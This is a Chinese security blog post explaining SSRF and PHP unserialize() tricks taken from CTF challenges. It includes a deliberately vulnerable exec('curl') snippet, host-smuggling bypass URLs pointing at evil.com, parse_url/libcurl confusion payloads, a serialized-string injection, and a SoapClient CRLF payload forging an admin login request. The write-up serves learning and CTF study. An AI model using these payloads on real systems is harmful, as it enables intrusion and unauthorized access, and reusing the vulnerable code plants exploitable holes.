Sky's blog

Some trick in ssrf and unserialize()

字数统计: 2,076阅读时长: 10 min
2018/03/15 Share

some trick in ssrf

trick1 filter_var() bypass

之前看到一篇文章,觉得写得很不错,于是在此总结一下
比如说如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$url = $_GET['url'];
echo "Argument: ".$url."\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
$r = parse_url($url);
var_dump($r);
if(preg_match('/skysec\.top$/', $r['host']))
{
exec('curl -v -s "'.$r['host'].'"', $a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>

我们能够进行ssrf吗?
首先看一下filter_var()的作用

1
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

比较常见的选项有:

1
2
FILTER_VALIDATE_EMAIL 检查是否为有效邮箱
FILTER_VALIDATE_URL 检查是否为有效url

这里我们的过滤显然是检查是否为有效url
简单尝试一下:

1
http://localhost/web/test/22.php?url=http://skysec.top

得到回显

1
2
3
4
5
Argument: http://skysec.top
H:\wamp64\www\web\test\22.php:6:
array (size=2)
'scheme' => string 'http' (length=4)
'host' => string 'skysec.top' (length=10)

再试一个:

1
http://localhost/web/test/22.php?url=http://skysec;

得到回显:

1
Argument: http://skysec; Error: Invalid URL

很显然后者不符合url的匹配要求
那么我们再来看最开始的代码

1
2
3
1.filter_var对url进行check
2.parse_url获取url的host
3.对host进行正则匹配,判断是否以skysec.top结尾

那么这样可能存在ssrf吗?
文章:https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51
中提到了一种方法,我觉得学习到一手:
我们可以访问

1
2
3
http://localhost/web/test/22.php?url=0://evil.com:80,skysec.top:80/

http://localhost/web/test/22.php?url=0://evil.com:23333;skysec.top:80/

当使用了exec()函数,例如样题代码中exec('curl -v -s "'.$r['host'].'"', $a);
可以使用

1
http://localhost/web/test/22.php?url=0://evil$skysec.top

这样都可以绕过检测,达到请求任意ip,任意端口的目的
不妨测试:
我们将上述代码放在自己的vps上:
1.监听23333端口:

1
2
root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)

访问

1
http://vps_ip/testsky/index.php?url=0://vps_ip:23333;skysec.top:80/

可以在监听中收到:

1
2
3
4
5
Connection from [vps_ip] port 23333 [tcp/*] accepted (family 2, sport 37996)
GET / HTTP/1.1
Host: vps_ip:23333
User-Agent: curl/7.47.0
Accept: */*

发现成功请求到我们指定的ip:port

trick2 libcurl and parse_url()

这个点是在34c3中的一道题中学到的
首先列出参考链接:

1
2
http://www.freebuf.com/articles/web/159342.html
https://www.jianshu.com/p/ef6cf8665a64

个人认为这两篇文章分析的很透彻,其中ssrf的trick在于
parse_url与libcurl对curl的解析差异
测试环境为

1
2
php 7.0
libcurl 7.52

匹配规则

1
2
3
4
5
php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

比如如下url:

1
http://u:p@a.com:80@b.com/

php解析结果:

1
2
3
4
schema: http 
host: b.com
user: u
pass: p@a.com:80

而libcurl解析结果:

1
2
3
4
5
6
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉

那么此时,如果恶意代码检测是依据parse_url的结果,就会导致绕过问题
我们假设一个环境:
1.利用curl对用户给出ip进行访问并获取内容
2.为防止ssrf,我们利用parse_url进行解析,设置waf
那么就以刚才的url为例:http://u:p@a.com:80@b.com/
如果我们的后端代码用parse_url()去解析我们传入的url,并只允许访问Host为b.com的ip
而此时如果我们传入的是刚才的url,那么我们可以绕过解析,并且curl访问到非法ip
当然34c3的这题可以学到的知识远远多于这一点,有兴趣的可以去搭建一下环境,题目已开源:

1
https://github.com/eboda/34c3ctf/tree/master/extract0r

some trick in unserialize()

trick1 Method with the same name

这个方法是来自于Insomnihack Teaser 2018 / File Vault
首先给出官方的题解https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault
其中关键代码如下

1
2
3
4
5
function s_serialize($a, $secret) {
$b = serialize($a);
$b = str_replace("../","./",$b);
return $b.hash_hmac('sha256', $b, $secret);
};

由于str_replace的存在,我们可以破坏序列化对象,并引入恶意代码
举个例子
我们有

1
2
3
4
5
<?php 
$array = array();
$array[] = "../../../../../../../../../../../../../";
$array[] = 'A";i:1;s:3:"Sky';
echo serialize($array)."\n";

可以得到序列化结果

1
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:15:"A";i:1;s:3:"Sky";}

如果我们正常反序列化,得到的是:

1
2
3
4
5
Array
(
[0] => ../../../../../../../../../../../../../
[1] => A";i:1;s:3:"Sky
)

但经过str_replace()后得到

1
a:2:{i:0;s:39:"./././././././././././././";i:1;s:15:"A";i:1;s:3:"Sky";}

此时反序列化后的结果为

1
2
3
4
5
Array
(
[0] => ./././././././././././././";i:1;s:15:"A
[1] => Sky
)

我们发现Sky这个点现在完全可以注入新的代码
这是为什么呢?
我们关注str_replace()之前的序列化结果

1
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:15:"A";i:1;s:3:"Sky";}

此时的s:39刚好为:../../../../../../../../../../../../../
而经过str_replace后
此时的s:39并没有变,但是内容发生了变化:

1
./././././././././././././";i:1;s:15:"A

可以发现,我们成功的吞掉了后面的值,导致可以构造注入
既然可以构造对象注入,那我们看这段代码

1
2
3
4
5
6
7
8
9
10
class UploadFile {

function upload($fakename, $content) {
..... // 你什么也不能做
}

function open($fakename, $realname) {
..... // 你什么也不能做
}
}

我们可以发现,对于UploadFile,我们是无可奈何的
但是我们是可以构造对象注入的,那么有没有其他对象也有同名的函数呢?

1
2
3
4
5
6
7
8
<?php
foreach (get_declared_classes() as $class) {
foreach (get_class_methods($class) as $method) {
if ($method == "open")
echo "$class->$method\n";
}
}
?>

运行脚本不难发现

1
2
3
4
SessionHandler->open
ZipArchive->open
XMLReader->open
SQLite3->open

拥有同名函数open()的类有4个
而在file-vault这道题目中ZipArchive->open()可以用来删除文件.htaccess,以便可以运行小马
所以最后由于str_replace的原因,我们成功进行了对象注入,以其他拥有同名函数的对象,完成了意想不到的操作

Magic Method call()

这个trick来自于刚结束的N1CTF的hard php
题目需要使用ssrf,但是整个题目就只有2个漏洞点:

1
2
1.sql注入
2.伪造任意的php内置类

sql注入显然在这道题里只是用来获取管理员密码的,与SSRF无关
那么看来SSRF就是在伪造任意的php内置类了
题目中可控并且可进行反序列化的类为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();

}
public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}

经过上一个trick点,我们可以知道不可能存在某个同名函数getcountry()拥有ssrf的能力的
但此时,我们查阅相关手册可以发现:

1
public mixed __call ( string $name , array $arguments )

在对象中调用一个不可访问方法时,__call() 会被调用
而此时我们可以发现php内置类:SoapClient
这个类可以发送url请求,但是新的问题来了:
该类是用来发送xml的,发送的请求Content-type为Xml
我们如何才能让他伪造post数据包呢?
这里我们可以发现SoapClient的参数中有user_agent项
可以进行CRLF注入
所以最后我们可以构造soapclient对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$target = "http://127.0.0.1/index.php?action=login";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "AAA:BBB\r\nContent‐Type: application/x‐www‐form-urlencoded\r\n"."Cookie:PHPSESSID=sessid\r\nContent‐Length:"."501\r\n\r\nusername=admin&password=nu1ladmin&code=985008&",'uri' => "skysec.top"));
$payload = serialize($attack);
function strToHex($string)
{
$hex = '';
for ($i=0; $i<strlen($string); $i++)
{
$ord = ord($string[$i]);
$hexCode = dechex($ord);
$hex .= substr('0'.$hexCode, ‐2);
}
return $hex;
}
echo strtoHex($payload);
?>

由此题可见,倘若我们有可控的反序列化注入点,很有可能可以构造ssrf进行攻击!
另外此题已经开源,有兴趣的可以自行搭建:

1
https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. some trick in ssrf
    1. 1.1. trick1 filter_var() bypass
    2. 1.2. trick2 libcurl and parse_url()
  2. 2. some trick in unserialize()
    1. 2.1. trick1 Method with the same name
    2. 2.2. Magic Method call()